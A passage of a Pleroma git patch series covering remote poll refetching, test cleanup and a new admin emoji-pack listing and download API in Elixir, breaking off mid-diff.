"Mock response not implemented for GET #{inspect(url)}, #{query}, #{inspect(body)}, #{
From 84a40f6f266ea651578b3d641c000a3b762fc9f3 Mon Sep 17 00:00:00 2001
From: rinpatch
Date: Wed, 18 Sep 2019 18:31:24 +0300
Subject: [PATCH 047/148] Capture log in object refetch tests
---
test/object_test.exs | 25 ++++++++++++++++---------
1 file changed, 16 insertions(+), 9 deletions(-)
diff --git a/test/object_test.exs b/test/object_test.exs
index 72e36316c..25e8d45d4 100644
--- a/test/object_test.exs
+++ b/test/object_test.exs
@@ -4,6 +4,7 @@
defmodule Pleroma.ObjectTest do
use Pleroma.DataCase
+ import ExUnit.CaptureLog
import Pleroma.Factory
import Tesla.Mock
alias Pleroma.Object
@@ -134,17 +135,23 @@ test "returns the old object if refetch fails" do
assert Enum.at(object.data["oneOf"], 0)["replies"]["totalItems"] == 4
assert Enum.at(object.data["oneOf"], 1)["replies"]["totalItems"] == 0
- mock(fn
- %{method: :get, url: "https://patch.cx/objects/9a172665-2bc5-452d-8428-2361d4c33b1d"} ->
- %Tesla.Env{status: 404, body: ""}
+ assert capture_log(fn ->
+ mock(fn
+ %{
+ method: :get,
+ url: "https://patch.cx/objects/9a172665-2bc5-452d-8428-2361d4c33b1d"
+ } ->
+ %Tesla.Env{status: 404, body: ""}
- env ->
- apply(HttpRequestMock, :request, [env])
- end)
+ env ->
+ apply(HttpRequestMock, :request, [env])
+ end)
- updated_object = Object.get_by_id_and_maybe_refetch(object.id, interval: -1)
- assert Enum.at(updated_object.data["oneOf"], 0)["replies"]["totalItems"] == 4
- assert Enum.at(updated_object.data["oneOf"], 1)["replies"]["totalItems"] == 0
+ updated_object = Object.get_by_id_and_maybe_refetch(object.id, interval: -1)
+ assert Enum.at(updated_object.data["oneOf"], 0)["replies"]["totalItems"] == 4
+ assert Enum.at(updated_object.data["oneOf"], 1)["replies"]["totalItems"] == 0
+ end) =~
+ "[error] Couldn't refresh https://patch.cx/objects/9a172665-2bc5-452d-8428-2361d4c33b1d"
end
test "does not refetch if the time since the last refetch is greater than the interval" do
From a9c700ff1594bbd3c280dd6ac3a8dffa6ea7060b Mon Sep 17 00:00:00 2001
From: rinpatch
Date: Wed, 18 Sep 2019 18:52:33 +0300
Subject: [PATCH 048/148] Fix wrong argument order when calling
NaiveDateTime.diff
---
lib/pleroma/object.ex | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/lib/pleroma/object.ex b/lib/pleroma/object.ex
index 640e068e5..3fa407931 100644
--- a/lib/pleroma/object.ex
+++ b/lib/pleroma/object.ex
@@ -42,7 +42,7 @@ def get_by_id_and_maybe_refetch(id, opts \\ []) do
%{updated_at: updated_at} = object = get_by_id(id)
if opts[:interval] &&
- NaiveDateTime.diff(updated_at, NaiveDateTime.utc_now()) > opts[:interval] do
+ NaiveDateTime.diff(NaiveDateTime.utc_now(), updated_at) > opts[:interval] do
case Fetcher.refetch_object(object) do
{:ok, %Object{} = object} ->
object
From e3f902b3a1330f942ddaf6ff7b108bba8fc3120a Mon Sep 17 00:00:00 2001
From: rinpatch
Date: Wed, 18 Sep 2019 19:07:25 +0300
Subject: [PATCH 049/148] Set updated_at even if the object stayed the same
---
lib/pleroma/object/fetcher.ex | 9 +++++++++
1 file changed, 9 insertions(+)
diff --git a/lib/pleroma/object/fetcher.ex b/lib/pleroma/object/fetcher.ex
index da1ebd8b3..786e31cce 100644
--- a/lib/pleroma/object/fetcher.ex
+++ b/lib/pleroma/object/fetcher.ex
@@ -14,11 +14,20 @@ defmodule Pleroma.Object.Fetcher do
require Logger
+ defp touch_changeset(changeset) do
+ updated_at =
+ NaiveDateTime.utc_now()
+ |> NaiveDateTime.truncate(:second)
+
+ Ecto.Changeset.put_change(changeset, :updated_at, updated_at)
+ end
+
defp reinject_object(struct, data) do
Logger.debug("Reinjecting object #{data["id"]}")
with data <- Transmogrifier.fix_object(data),
changeset <- Object.change(struct, %{data: data}),
+ changeset <- touch_changeset(changeset),
{:ok, object} <- Repo.insert_or_update(changeset) do
{:ok, object}
else
From d32894ae512c1f4cff4d967b89a0772e105d456b Mon Sep 17 00:00:00 2001
From: rinpatch
Date: Wed, 18 Sep 2019 19:24:20 +0300
Subject: [PATCH 050/148] Move object internal fields to a constant
---
lib/pleroma/constants.ex | 12 ++++++++++++
lib/pleroma/web/activity_pub/transmogrifier.ex | 10 +---------
2 files changed, 13 insertions(+), 9 deletions(-)
diff --git a/lib/pleroma/constants.ex b/lib/pleroma/constants.ex
index ef1418543..0bf20cdd0 100644
--- a/lib/pleroma/constants.ex
+++ b/lib/pleroma/constants.ex
@@ -6,4 +6,16 @@ defmodule Pleroma.Constants do
use Const
const(as_public, do: "https://www.w3.org/ns/activitystreams#Public")
+
+ const(object_internal_fields,
+ do: [
+ "likes",
+ "like_count",
+ "announcements",
+ "announcement_count",
+ "emoji",
+ "context_id",
+ "deleted_activity_id"
+ ]
+ )
end
diff --git a/lib/pleroma/web/activity_pub/transmogrifier.ex b/lib/pleroma/web/activity_pub/transmogrifier.ex
index 8461b666e..9d2ddc1cd 100644
--- a/lib/pleroma/web/activity_pub/transmogrifier.ex
+++ b/lib/pleroma/web/activity_pub/transmogrifier.ex
@@ -979,15 +979,7 @@ def prepare_attachments(object) do
defp strip_internal_fields(object) do
object
- |> Map.drop([
- "likes",
- "like_count",
- "announcements",
- "announcement_count",
- "emoji",
- "context_id",
- "deleted_activity_id"
- ])
+ |> Map.drop(Pleroma.Constants.object_internal_fields())
end
defp strip_internal_tags(%{"tag" => tags} = object) do
From eb87a86b5b3999f3e7ee119e839da3bd6d2ed4cf Mon Sep 17 00:00:00 2001
From: rinpatch
Date: Wed, 18 Sep 2019 19:53:51 +0300
Subject: [PATCH 051/148] Preserve internal fields when reinjecting
---
lib/pleroma/object/fetcher.ex | 10 ++++
test/object_test.exs | 102 ++++++++++++++++++++--------------
2 files changed, 69 insertions(+), 43 deletions(-)
diff --git a/lib/pleroma/object/fetcher.ex b/lib/pleroma/object/fetcher.ex
index 786e31cce..fecc97c5e 100644
--- a/lib/pleroma/object/fetcher.ex
+++ b/lib/pleroma/object/fetcher.ex
@@ -13,6 +13,7 @@ defmodule Pleroma.Object.Fetcher do
alias Pleroma.Web.OStatus
require Logger
+ require Pleroma.Constants
defp touch_changeset(changeset) do
updated_at =
@@ -22,10 +23,19 @@ defp touch_changeset(changeset) do
Ecto.Changeset.put_change(changeset, :updated_at, updated_at)
end
+ defp maybe_reinject_internal_fields(data, %{data: %{} = old_data}) do
+ internal_fields = Map.take(old_data, Pleroma.Constants.object_internal_fields())
+
+ Map.merge(data, internal_fields)
+ end
+
+ defp maybe_reinject_internal_fields(data, _), do: data
+
defp reinject_object(struct, data) do
Logger.debug("Reinjecting object #{data["id"]}")
with data <- Transmogrifier.fix_object(data),
+ data <- maybe_reinject_internal_fields(data, struct),
changeset <- Object.change(struct, %{data: data}),
changeset <- touch_changeset(changeset),
{:ok, object} <- Repo.insert_or_update(changeset) do
diff --git a/test/object_test.exs b/test/object_test.exs
index 25e8d45d4..3d64fdb49 100644
--- a/test/object_test.exs
+++ b/test/object_test.exs
@@ -7,8 +7,10 @@ defmodule Pleroma.ObjectTest do
import ExUnit.CaptureLog
import Pleroma.Factory
import Tesla.Mock
+ alias Pleroma.Activity
alias Pleroma.Object
alias Pleroma.Repo
+ alias Pleroma.Web.CommonAPI
setup do
mock(fn env -> apply(HttpRequestMock, :request, [env]) end)
@@ -92,7 +94,7 @@ test "does not fetch unknown objects when fetch_remote is false" do
end
describe "get_by_id_and_maybe_refetch" do
- test "refetches if the time since the last refetch is greater than the interval" do
+ setup do
mock(fn
%{method: :get, url: "https://patch.cx/objects/9a172665-2bc5-452d-8428-2361d4c33b1d"} ->
%Tesla.Env{status: 200, body: File.read!("test/fixtures/tesla_mock/poll_original.json")}
@@ -101,34 +103,41 @@ test "refetches if the time since the last refetch is greater than the interval"
apply(HttpRequestMock, :request, [env])
end)
+ mock_modified = fn resp ->
+ mock(fn
+ %{method: :get, url: "https://patch.cx/objects/9a172665-2bc5-452d-8428-2361d4c33b1d"} ->
+ resp
+
+ env ->
+ apply(HttpRequestMock, :request, [env])
+ end)
+ end
+
+ on_exit(fn -> mock(fn env -> apply(HttpRequestMock, :request, [env]) end) end)
+
+ [mock_modified: mock_modified]
+ end
+
+ test "refetches if the time since the last refetch is greater than the interval", %{
+ mock_modified: mock_modified
+ } do
%Object{} =
object = Object.normalize("https://patch.cx/objects/9a172665-2bc5-452d-8428-2361d4c33b1d")
assert Enum.at(object.data["oneOf"], 0)["replies"]["totalItems"] == 4
assert Enum.at(object.data["oneOf"], 1)["replies"]["totalItems"] == 0
- mock(fn
- %{method: :get, url: "https://patch.cx/objects/9a172665-2bc5-452d-8428-2361d4c33b1d"} ->
- %Tesla.Env{status: 200, body: File.read!("test/fixtures/tesla_mock/poll_modified.json")}
-
- env ->
- apply(HttpRequestMock, :request, [env])
- end)
+ mock_modified.(%Tesla.Env{
+ status: 200,
+ body: File.read!("test/fixtures/tesla_mock/poll_modified.json")
+ })
updated_object = Object.get_by_id_and_maybe_refetch(object.id, interval: -1)
assert Enum.at(updated_object.data["oneOf"], 0)["replies"]["totalItems"] == 8
assert Enum.at(updated_object.data["oneOf"], 1)["replies"]["totalItems"] == 3
end
- test "returns the old object if refetch fails" do
- mock(fn
- %{method: :get, url: "https://patch.cx/objects/9a172665-2bc5-452d-8428-2361d4c33b1d"} ->
- %Tesla.Env{status: 200, body: File.read!("test/fixtures/tesla_mock/poll_original.json")}
-
- env ->
- apply(HttpRequestMock, :request, [env])
- end)
-
+ test "returns the old object if refetch fails", %{mock_modified: mock_modified} do
%Object{} =
object = Object.normalize("https://patch.cx/objects/9a172665-2bc5-452d-8428-2361d4c33b1d")
@@ -136,16 +145,7 @@ test "returns the old object if refetch fails" do
assert Enum.at(object.data["oneOf"], 1)["replies"]["totalItems"] == 0
assert capture_log(fn ->
- mock(fn
- %{
- method: :get,
- url: "https://patch.cx/objects/9a172665-2bc5-452d-8428-2361d4c33b1d"
- } ->
- %Tesla.Env{status: 404, body: ""}
-
- env ->
- apply(HttpRequestMock, :request, [env])
- end)
+ mock_modified.(%Tesla.Env{status: 404, body: ""})
updated_object = Object.get_by_id_and_maybe_refetch(object.id, interval: -1)
assert Enum.at(updated_object.data["oneOf"], 0)["replies"]["totalItems"] == 4
@@ -154,32 +154,48 @@ test "returns the old object if refetch fails" do
"[error] Couldn't refresh https://patch.cx/objects/9a172665-2bc5-452d-8428-2361d4c33b1d"
end
- test "does not refetch if the time since the last refetch is greater than the interval" do
- mock(fn
- %{method: :get, url: "https://patch.cx/objects/9a172665-2bc5-452d-8428-2361d4c33b1d"} ->
- %Tesla.Env{status: 200, body: File.read!("test/fixtures/tesla_mock/poll_original.json")}
-
- env ->
- apply(HttpRequestMock, :request, [env])
- end)
-
+ test "does not refetch if the time since the last refetch is greater than the interval", %{
+ mock_modified: mock_modified
+ } do
%Object{} =
object = Object.normalize("https://patch.cx/objects/9a172665-2bc5-452d-8428-2361d4c33b1d")
assert Enum.at(object.data["oneOf"], 0)["replies"]["totalItems"] == 4
assert Enum.at(object.data["oneOf"], 1)["replies"]["totalItems"] == 0
- mock(fn
- %{method: :get, url: "https://patch.cx/objects/9a172665-2bc5-452d-8428-2361d4c33b1d"} ->
- %Tesla.Env{status: 200, body: File.read!("test/fixtures/tesla_mock/poll_modified.json")}
-
- env ->
- apply(HttpRequestMock, :request, [env])
- end)
+ mock_modified.(%Tesla.Env{
+ status: 200,
+ body: File.read!("test/fixtures/tesla_mock/poll_modified.json")
+ })
updated_object = Object.get_by_id_and_maybe_refetch(object.id, interval: 100)
assert Enum.at(updated_object.data["oneOf"], 0)["replies"]["totalItems"] == 4
assert Enum.at(updated_object.data["oneOf"], 1)["replies"]["totalItems"] == 0
end
+
+ test "preserves internal fields on refetch", %{mock_modified: mock_modified} do
+ %Object{} =
+ object = Object.normalize("https://patch.cx/objects/9a172665-2bc5-452d-8428-2361d4c33b1d")
+
+ assert Enum.at(object.data["oneOf"], 0)["replies"]["totalItems"] == 4
+ assert Enum.at(object.data["oneOf"], 1)["replies"]["totalItems"] == 0
+
+ user = insert(:user)
+ activity = Activity.get_create_by_object_ap_id(object.data["id"])
+ {:ok, _activity, object} = CommonAPI.favorite(activity.id, user)
+
+ assert object.data["like_count"] == 1
+
+ mock_modified.(%Tesla.Env{
+ status: 200,
+ body: File.read!("test/fixtures/tesla_mock/poll_modified.json")
+ })
+
+ updated_object = Object.get_by_id_and_maybe_refetch(object.id, interval: -1)
+ assert Enum.at(updated_object.data["oneOf"], 0)["replies"]["totalItems"] == 8
+ assert Enum.at(updated_object.data["oneOf"], 1)["replies"]["totalItems"] == 3
+
+ assert updated_object.data["like_count"] == 1
+ end
end
end
From c096dd86e5e4e3bdb9aa35c2c4f499efc17ddd16 Mon Sep 17 00:00:00 2001
From: rinpatch
Date: Wed, 18 Sep 2019 19:59:23 +0300
Subject: [PATCH 052/148] Do not refetch local objects
---
lib/pleroma/object/fetcher.ex | 4 +++-
1 file changed, 3 insertions(+), 1 deletion(-)
diff --git a/lib/pleroma/object/fetcher.ex b/lib/pleroma/object/fetcher.ex
index fecc97c5e..91e6b6dca 100644
--- a/lib/pleroma/object/fetcher.ex
+++ b/lib/pleroma/object/fetcher.ex
@@ -48,10 +48,12 @@ defp reinject_object(struct, data) do
end
def refetch_object(%Object{data: %{"id" => id}} = object) do
- with {:ok, data} <- fetch_and_contain_remote_object_from_id(id),
+ with {:local, false} <- {:local, String.starts_with?(id, Pleroma.Web.base_url() <> "/")},
+ {:ok, data} <- fetch_and_contain_remote_object_from_id(id),
{:ok, object} <- reinject_object(object, data) do
{:ok, object}
else
+ {:local, true} -> object
e -> {:error, e}
end
end
From 5028b7b5780fbfd0904b2e48c05a05eeab0e623d Mon Sep 17 00:00:00 2001
From: rinpatch
Date: Wed, 18 Sep 2019 22:09:03 +0300
Subject: [PATCH 053/148] Fix credo issues
---
lib/pleroma/object/fetcher.ex | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/lib/pleroma/object/fetcher.ex b/lib/pleroma/object/fetcher.ex
index 91e6b6dca..cea33b5af 100644
--- a/lib/pleroma/object/fetcher.ex
+++ b/lib/pleroma/object/fetcher.ex
@@ -6,8 +6,8 @@ defmodule Pleroma.Object.Fetcher do
alias Pleroma.HTTP
alias Pleroma.Object
alias Pleroma.Object.Containment
- alias Pleroma.Signature
alias Pleroma.Repo
+ alias Pleroma.Signature
alias Pleroma.Web.ActivityPub.InternalFetchActor
alias Pleroma.Web.ActivityPub.Transmogrifier
alias Pleroma.Web.OStatus
From a12aeb09c42f1c120b78d517cfbad2fe29c88006 Mon Sep 17 00:00:00 2001
From: rinpatch
Date: Wed, 18 Sep 2019 23:34:13 +0300
Subject: [PATCH 054/148] Cleanup uploads after the tests are finished
---
test/test_helper.exs | 5 +++++
1 file changed, 5 insertions(+)
diff --git a/test/test_helper.exs b/test/test_helper.exs
index a927b2c3d..6a389365f 100644
--- a/test/test_helper.exs
+++ b/test/test_helper.exs
@@ -7,3 +7,8 @@
Ecto.Adapters.SQL.Sandbox.mode(Pleroma.Repo, :manual)
Mox.defmock(Pleroma.ReverseProxy.ClientMock, for: Pleroma.ReverseProxy.Client)
{:ok, _} = Application.ensure_all_started(:ex_machina)
+
+ExUnit.after_suite(fn _results ->
+ uploads = Pleroma.Config.get([Pleroma.Uploaders.Local, :uploads], "test/uploads")
+ File.rm_rf!(uploads)
+end)
From a22b87b30c8bf5a28465c732ac77c70631ddc4d9 Mon Sep 17 00:00:00 2001
From: rinpatch
Date: Thu, 19 Sep 2019 00:00:05 +0300
Subject: [PATCH 055/148] Add a changelog entry for poll refetching
---
CHANGELOG.md | 2 ++
1 file changed, 2 insertions(+)
diff --git a/CHANGELOG.md b/CHANGELOG.md
index f3f38b817..6a49bc4dd 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -4,6 +4,8 @@ All notable changes to this project will be documented in this file.
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/).
## [Unreleased]
+### Added
+- Refreshing poll results for remote polls
### Changed
- **Breaking:** Elixir >=1.8 is now required (was >= 1.7)
- Replaced [pleroma_job_queue](https://git.pleroma.social/pleroma/pleroma_job_queue) and `Pleroma.Web.Federator.RetryQueue` with [Oban](https://github.com/sorentwo/oban) (see [`docs/config.md`](docs/config.md) on migrating customized worker / retry settings)
From 6a42641b8d806f40f697303995fb12af39a93bd8 Mon Sep 17 00:00:00 2001
From: Ekaterina Vaartis
Date: Sat, 10 Aug 2019 21:46:36 +0300
Subject: [PATCH 056/148] Add pack.toml loading
---
lib/pleroma/emoji.ex | 41 ++++++++++++++++++++++++++++-------------
mix.exs | 1 +
mix.lock | 1 +
3 files changed, 30 insertions(+), 13 deletions(-)
diff --git a/lib/pleroma/emoji.ex b/lib/pleroma/emoji.ex
index 66e20f0e4..ede734a53 100644
--- a/lib/pleroma/emoji.ex
+++ b/lib/pleroma/emoji.ex
@@ -143,23 +143,38 @@ defp load do
defp load_pack(pack_dir, emoji_groups) do
pack_name = Path.basename(pack_dir)
- emoji_txt = Path.join(pack_dir, "emoji.txt")
+ pack_toml = Path.join(pack_dir, "pack.toml")
- if File.exists?(emoji_txt) do
- load_from_file(emoji_txt, emoji_groups)
- else
- extensions = Pleroma.Config.get([:emoji, :pack_extensions])
+ if File.exists?(pack_toml) do
+ toml = Toml.decode_file!(pack_toml)
- Logger.info(
- "No emoji.txt found for pack \"#{pack_name}\", assuming all #{Enum.join(extensions, ", ")} files are emoji"
- )
-
- make_shortcode_to_file_map(pack_dir, extensions)
- |> Enum.map(fn {shortcode, rel_file} ->
+ toml["files"]
+ |> Enum.map(fn {name, rel_file} ->
filename = Path.join("/emoji/#{pack_name}", rel_file)
-
- {shortcode, filename, [to_string(match_extra(emoji_groups, filename))]}
+ {name, filename, pack_name}
end)
+ else
+ # Load from emoji.txt / all files
+ emoji_txt = Path.join(pack_dir, "emoji.txt")
+
+ if File.exists?(emoji_txt) do
+ load_from_file(emoji_txt, emoji_groups)
+ else
+ extensions = Pleroma.Config.get([:emoji, :pack_extensions])
+
+ Logger.info(
+ "No emoji.txt found for pack \"#{pack_name}\", assuming all #{
+ Enum.join(extensions, ", ")
+ } files are emoji"
+ )
+
+ make_shortcode_to_file_map(pack_dir, extensions)
+ |> Enum.map(fn {shortcode, rel_file} ->
+ filename = Path.join("/emoji/#{pack_name}", rel_file)
+
+ {shortcode, filename, [to_string(match_extra(emoji_groups, filename))]}
+ end)
+ end
end
end
diff --git a/mix.exs b/mix.exs
index f2635da24..172f3a940 100644
--- a/mix.exs
+++ b/mix.exs
@@ -157,6 +157,7 @@ defp deps do
{:ex_rated, "~> 1.3"},
{:ex_const, "~> 0.2"},
{:plug_static_index_html, "~> 1.0.0"},
+ {:toml, "~> 0.5"},
{:excoveralls, "~> 0.11.1", only: :test},
{:mox, "~> 0.5", only: :test}
] ++ oauth_deps()
diff --git a/mix.lock b/mix.lock
index 24b34c09c..39b9fa930 100644
--- a/mix.lock
+++ b/mix.lock
@@ -92,6 +92,7 @@
"telemetry": {:hex, :telemetry, "0.4.0", "8339bee3fa8b91cb84d14c2935f8ecf399ccd87301ad6da6b71c09553834b2ab", [:rebar3], [], "hexpm"},
"tesla": {:hex, :tesla, "1.3.0", "f35d72f029e608f9cdc6f6d6fcc7c66cf6d6512a70cfef9206b21b8bd0203a30", [:mix], [{:castore, "~> 0.1", [hex: :castore, repo: "hexpm", optional: true]}, {:exjsx, ">= 3.0.0", [hex: :exjsx, repo: "hexpm", optional: true]}, {:fuse, "~> 2.4", [hex: :fuse, repo: "hexpm", optional: true]}, {:gun, "~> 1.3", [hex: :gun, repo: "hexpm", optional: true]}, {:hackney, "~> 1.6", [hex: :hackney, repo: "hexpm", optional: true]}, {:ibrowse, "~> 4.4.0", [hex: :ibrowse, repo: "hexpm", optional: true]}, {:jason, ">= 1.0.0", [hex: :jason, repo: "hexpm", optional: true]}, {:mime, "~> 1.0", [hex: :mime, repo: "hexpm", optional: false]}, {:mint, "~> 0.4", [hex: :mint, repo: "hexpm", optional: true]}, {:poison, ">= 1.0.0", [hex: :poison, repo: "hexpm", optional: true]}, {:telemetry, "~> 0.3", [hex: :telemetry, repo: "hexpm", optional: true]}], "hexpm"},
"timex": {:hex, :timex, "3.6.1", "efdf56d0e67a6b956cc57774353b0329c8ab7726766a11547e529357ffdc1d56", [:mix], [{:combine, "~> 0.10", [hex: :combine, repo: "hexpm", optional: false]}, {:gettext, "~> 0.10", [hex: :gettext, repo: "hexpm", optional: false]}, {:tzdata, "~> 0.1.8 or ~> 0.5 or ~> 1.0.0", [hex: :tzdata, repo: "hexpm", optional: false]}], "hexpm"},
+ "toml": {:hex, :toml, "0.5.2", "e471388a8726d1ce51a6b32f864b8228a1eb8edc907a0edf2bb50eab9321b526", [:mix], [], "hexpm"},
"trailing_format_plug": {:hex, :trailing_format_plug, "0.0.7", "64b877f912cf7273bed03379936df39894149e35137ac9509117e59866e10e45", [:mix], [{:plug, "> 0.12.0", [hex: :plug, repo: "hexpm", optional: false]}], "hexpm"},
"tzdata": {:hex, :tzdata, "0.5.21", "8cbf3607fcce69636c672d5be2bbb08687fe26639a62bdcc283d267277db7cf0", [:mix], [{:hackney, "~> 1.0", [hex: :hackney, repo: "hexpm", optional: false]}], "hexpm"},
"ueberauth": {:hex, :ueberauth, "0.6.1", "9e90d3337dddf38b1ca2753aca9b1e53d8a52b890191cdc55240247c89230412", [:mix], [{:plug, "~> 1.5", [hex: :plug, repo: "hexpm", optional: false]}], "hexpm"},
From b791a0865641eb8210380e22e04a9fb680a79dcb Mon Sep 17 00:00:00 2001
From: Ekaterina Vaartis
Date: Sun, 11 Aug 2019 00:39:21 +0300
Subject: [PATCH 057/148] Implement API actions on packs
That incldues listing them and downloading them from other instances
or from the remote url
---
.../web/emoji_api/emoji_api_controller.ex | 171 ++++++++++++++++++
lib/pleroma/web/router.ex | 22 +++
2 files changed, 193 insertions(+)
create mode 100644 lib/pleroma/web/emoji_api/emoji_api_controller.ex
diff --git a/lib/pleroma/web/emoji_api/emoji_api_controller.ex b/lib/pleroma/web/emoji_api/emoji_api_controller.ex
new file mode 100644
index 000000000..49d671518
--- /dev/null
+++ b/lib/pleroma/web/emoji_api/emoji_api_controller.ex
@@ -0,0 +1,171 @@
+defmodule Pleroma.Web.EmojiAPI.EmojiAPIController do
+ use Pleroma.Web, :controller
+
+ def reload(conn, _params) do
+ Pleroma.Emoji.reload()
+
+ conn |> json("ok")
+ end
+
+ @emoji_dir_path Path.join(
+ Pleroma.Config.get!([:instance, :static_dir]),
+ "emoji"
+ )
+
+ def list_packs(conn, _params) do
+ pack_infos =
+ case File.ls(@emoji_dir_path) do
+ {:error, _} ->
+ %{}
+
+ {:ok, results} ->
+ results
+ |> Enum.filter(fn file ->
+ dir_path = Path.join(@emoji_dir_path, file)
+ # Filter to only use the pack.toml packs
+ File.dir?(dir_path) and File.exists?(Path.join(dir_path, "pack.toml"))
+ end)
+ |> Enum.map(fn pack_name ->
+ pack_path = Path.join(@emoji_dir_path, pack_name)
+ pack_file = Path.join(pack_path, "pack.toml")
+
+ {pack_name, Toml.decode_file!(pack_file)}
+ end)
+ # Transform into a map of pack-name => pack-data
+ # Check if all the files are in place and can be sent
+ |> Enum.map(fn {name, pack} ->
+ pack_path = Path.join(@emoji_dir_path, name)
+
+ archive_for_sha = make_archive(name, pack, pack_path)
+ archive_sha = :crypto.hash(:sha256, archive_for_sha) |> Base.encode16()
+
+ {name,
+ pack
+ |> put_in(["pack", "can-download"], can_download?(pack, pack_path))
+ |> put_in(["pack", "download-sha256"], archive_sha)}
+ end)
+ |> Enum.into(%{})
+ end
+
+ conn |> json(pack_infos)
+ end
+
+ defp can_download?(pack, pack_path) do
+ # If the pack is set as shared, check if it can be downloaded
+ # That means that when asked, the pack can be packed and sent to the remote
+ # Otherwise, they'd have to download it from external-src
+ pack["pack"]["share-files"] and
+ Enum.all?(pack["files"], fn {_, path} ->
+ File.exists?(Path.join(pack_path, path))
+ end)
+ end
+
+ defp make_archive(name, pack, pack_dir) do
+ files =
+ ['pack.toml'] ++
+ (pack["files"] |> Enum.map(fn {_, path} -> to_charlist(path) end))
+
+ {:ok, {_, zip_result}} = :zip.zip('#{name}.zip', files, [:memory, cwd: to_charlist(pack_dir)])
+
+ zip_result
+ end
+
+ def download_shared(conn, %{"name" => name}) do
+ pack_dir = Path.join(@emoji_dir_path, name)
+ pack_toml = Path.join(pack_dir, "pack.toml")
+
+ if File.exists?(pack_toml) do
+ pack = Toml.decode_file!(pack_toml)
+
+ if can_download?(pack, pack_dir) do
+ zip_result = make_archive(name, pack, pack_dir)
+
+ conn
+ |> send_download({:binary, zip_result}, filename: "#{name}.zip")
+ else
+ {:error,
+ conn
+ |> put_status(:forbidden)
+ |> json("Pack #{name} cannot be downloaded from this instance, either pack sharing\
+ was disabled for this pack or some files are missing")}
+ end
+ else
+ {:error,
+ conn
+ |> put_status(:not_found)
+ |> json("Pack #{name} does not exist")}
+ end
+ end
+
+ def download_from(conn, %{"instance_address" => address, "pack_name" => name} = data) do
+ list_uri = "#{address}/api/pleroma/emoji/packs/list"
+
+ list = Tesla.get!(list_uri).body |> Jason.decode!()
+ full_pack = list[name]
+ pfiles = full_pack["files"]
+ pack = full_pack["pack"]
+
+ pack_info_res =
+ cond do
+ pack["share-files"] && pack["can-download"] ->
+ {:ok,
+ %{
+ sha: pack["download-sha256"],
+ uri: "#{address}/api/pleroma/emoji/packs/download_shared/#{name}"
+ }}
+
+ pack["fallback-src"] ->
+ {:ok,
+ %{
+ sha: pack["fallback-src-sha256"],
+ uri: pack["fallback-src"],
+ fallback: true
+ }}
+
+ true ->
+ {:error, "The pack was not set as shared and the is no fallback url to download from"}
+ end
+
+ case pack_info_res do
+ {:ok, %{sha: sha, uri: uri} = pinfo} ->
+ sha = Base.decode16!(sha)
+ emoji_archive = Tesla.get!(uri).body
+
+ got_sha = :crypto.hash(:sha256, emoji_archive)
+
+ if got_sha == sha do
+ local_name = data["as"] || name
+ pack_dir = Path.join(@emoji_dir_path, local_name)
+ File.mkdir_p!(pack_dir)
+
+ files =
+ ['pack.toml'] ++
+ (pfiles |> Enum.map(fn {_, path} -> to_charlist(path) end))
+
+ {:ok, _} = :zip.unzip(emoji_archive, cwd: to_charlist(pack_dir), file_list: files)
+
+ # Fallback URL might not contain a pack.toml file, if that happens - fail (for now)
+ # FIXME: there seems to be a lack of any kind of encoders besides JSON.
+ erres =
+ if pinfo[:fallback] do
+ toml_path = Path.join(pack_dir, "pack.toml")
+
+ unless File.exists?(toml_path) do
+ conn
+ |> put_status(:internal_server_error)
+ |> text("No pack.toml in falblack source")
+ end
+ end
+
+ if not is_nil(erres), do: erres, else: conn |> text("ok")
+ else
+ conn
+ |> put_status(:internal_server_error)
+ |> text("SHA256 for the pack doesn't match the one sent by the server")
+ end
+
+ {:error, e} ->
+ conn |> put_status(:internal_server_error) |> text(e)
+ end
+ end
+end
diff --git a/lib/pleroma/web/router.ex b/lib/pleroma/web/router.ex
index b9b85fd67..514446fb3 100644
--- a/lib/pleroma/web/router.ex
+++ b/lib/pleroma/web/router.ex
@@ -207,6 +207,28 @@ defmodule Pleroma.Web.Router do
get("/moderation_log", AdminAPIController, :list_log)
end
+ scope "/api/pleroma/emoji", Pleroma.Web.EmojiAPI do
+ scope [] do
+ pipe_through([:admin_api, :oauth_write])
+
+ post("/reload", EmojiAPIController, :reload)
+ end
+
+ scope "/packs" do
+ # Modifying packs
+ pipe_through([:admin_api, :oauth_write])
+
+ post("/download_from", EmojiAPIController, :download_from)
+ end
+
+ scope "/packs" do
+ # Pack info / downloading
+ get("/list", EmojiAPIController, :list_packs)
+ get("/download_shared/:name", EmojiAPIController, :download_shared)
+ get("/sha_of_shared/:name", EmojiAPIController, :sha_of_shared)
+ end
+ end
+
scope "/", Pleroma.Web.TwitterAPI do
pipe_through(:pleroma_html)
From 54b8e683bce13cf67f2674ea9f56b30604b28358 Mon Sep 17 00:00:00 2001
From: Ekaterina Vaartis
Date: Sun, 11 Aug 2019 22:32:15 +0300
Subject: [PATCH 058/148] Swap TOML for YAML to get YAML generation for packs
from fallbacks
If fallback url doesn't have a pack.yml file, one from the source will
be used
---
lib/pleroma/emoji.ex | 8 ++---
.../web/emoji_api/emoji_api_controller.ex | 36 +++++++++----------
lib/pleroma/web/router.ex | 1 -
mix.exs | 2 +-
mix.lock | 3 +-
5 files changed, 23 insertions(+), 27 deletions(-)
diff --git a/lib/pleroma/emoji.ex b/lib/pleroma/emoji.ex
index ede734a53..2a9f5f804 100644
--- a/lib/pleroma/emoji.ex
+++ b/lib/pleroma/emoji.ex
@@ -143,12 +143,12 @@ defp load do
defp load_pack(pack_dir, emoji_groups) do
pack_name = Path.basename(pack_dir)
- pack_toml = Path.join(pack_dir, "pack.toml")
+ pack_yaml = Path.join(pack_dir, "pack.yml")
- if File.exists?(pack_toml) do
- toml = Toml.decode_file!(pack_toml)
+ if File.exists?(pack_yaml) do
+ yaml = RelaxYaml.Decoder.read_from_file(pack_yaml)
- toml["files"]
+ yaml["files"]
|> Enum.map(fn {name, rel_file} ->
filename = Path.join("/emoji/#{pack_name}", rel_file)
{name, filename, pack_name}
diff --git a/lib/pleroma/web/emoji_api/emoji_api_controller.ex b/lib/pleroma/web/emoji_api/emoji_api_controller.ex
index 49d671518..7ef9b543d 100644
--- a/lib/pleroma/web/emoji_api/emoji_api_controller.ex
+++ b/lib/pleroma/web/emoji_api/emoji_api_controller.ex
@@ -22,14 +22,14 @@ def list_packs(conn, _params) do
results
